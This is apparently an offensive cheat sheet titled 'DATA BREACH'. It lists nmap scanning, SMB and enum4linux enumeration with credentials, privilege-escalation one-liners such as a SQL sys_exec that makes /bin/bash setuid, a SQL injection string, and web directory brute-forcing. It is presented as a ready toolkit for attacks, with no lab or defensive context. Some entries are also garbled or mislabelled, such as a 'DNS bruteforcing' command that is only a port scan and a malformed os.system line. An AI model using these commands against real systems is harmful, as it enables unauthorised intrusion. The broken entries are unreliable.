DATA BREACH

Table of Contents

Network Enumeration

Scanning 1000 most common ports

```
nmap 192.168.1.1
```

Scanning specific ports

```
nmap -p 443,22,80 192.168.1.1

# the -p parameter calls for whichever ports specified
```

Scanning all ports

```
nmap -p 1-65535 192.168.1.1
```

Skipping host discovery

```
nmap -Pn 192.168.1.1

# The -Pn parameter skips host discovery and treats all hosts as online
```

Vulnerability scanning with nmap

```
nmap --script vuln 192.168.1.1

# the --script parameter calls for a specific script to be used
```

Scanning for service versions

```
nmap -Pn -sV 192.168.1.1

# The -sV parameter calls for service versions
```

Network scanning with decoys

```
nmap -p 135 -D 192.168.2.1 192.168.1.1

# the -D parameter is for decoys, the 1st IP is the decoy and the 2nd IP is the target
```

bruteforcing DNS

```
nmap -p 80,443 http://fakewebsite.fake
```

Stealth scan

```
nmap -sS 192.168.1.1
```

Xmas scan

```
nmap -sX 192.168.1.1

# Sets the FIN, PSH, and URG flags
```

SMB

Mounting a SMB share

```
mount -t cifs //192.168.1.1/share_name /smb/share

# before you mount it, you're gonna want to create the directory to mount it to

# the -t parameter is used to specify which type of device to mount
```

Mapping SMB shares with smbmap

```
smbmap -H 192.168.1.1

# the -H parameter specifies the host
```

Using login credentials with smbmap

```
smbmap -H 192.168.1.1 -u root -p password

# the -u parameter specifies the user and the -p parameter specifies the password
```

Listing SMB shares with smbclient

```
smbclient -L 192.168.1.1

# the -L parameter specifies the host
```

Logging into SMB share with user

```
smbclient -L 192.168.1.1 -U root

# the -U parameter specifies the user
```

smb vulnerability scan

```
nmap --script smb-vuln* -p 139,445 192.168.1.1
```

OS Enumeration

Enumerating with enum4linux

```
enum4linux -a 192.168.1.1

# the -a parameter specifies to do all simple enumeration
```

Gaining user accounts with enum4linux

```
enum4linux -u root -p password -U 192.168.1.1

# the -U parameter specifies to pull a full list of users
```

Gaining group information with enum4linux

```
 enum4linux -u root -p password -G 192.168.1.1

# the -G parameter specifies to pull a list of groups
```

Finding out OS information

```
nmap -O 192.168.1.1
```

Privilege Escalation

Privilege escalation when you have a user account

```
echo os.system('/bin/bash')
```

Privilege Escalation through SQL

```
select sys_exec(‘chmod u+s /bin/bash’);
```

SQL Injections

1

'blah' or 1=1--'

Websites

Brute-forcing website directories using gobuster

```
gobuster dir -u http://192.168.1.1  -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

# -u is for the website, -w specifies which directory list you want to use
```

Discovering website vulnerabilities with Nikto

```
Nikto -h 192.168.1.1
```

Tutorials

Using BurpSuite to get a login token

1. Configure your proxy in firefox for port 80/443

2. launch burpsuite

3. configure burpsuite to intercept from port 80/443

3. go to login page on website and use admin for username and password

4. look at intercept information in burpsuite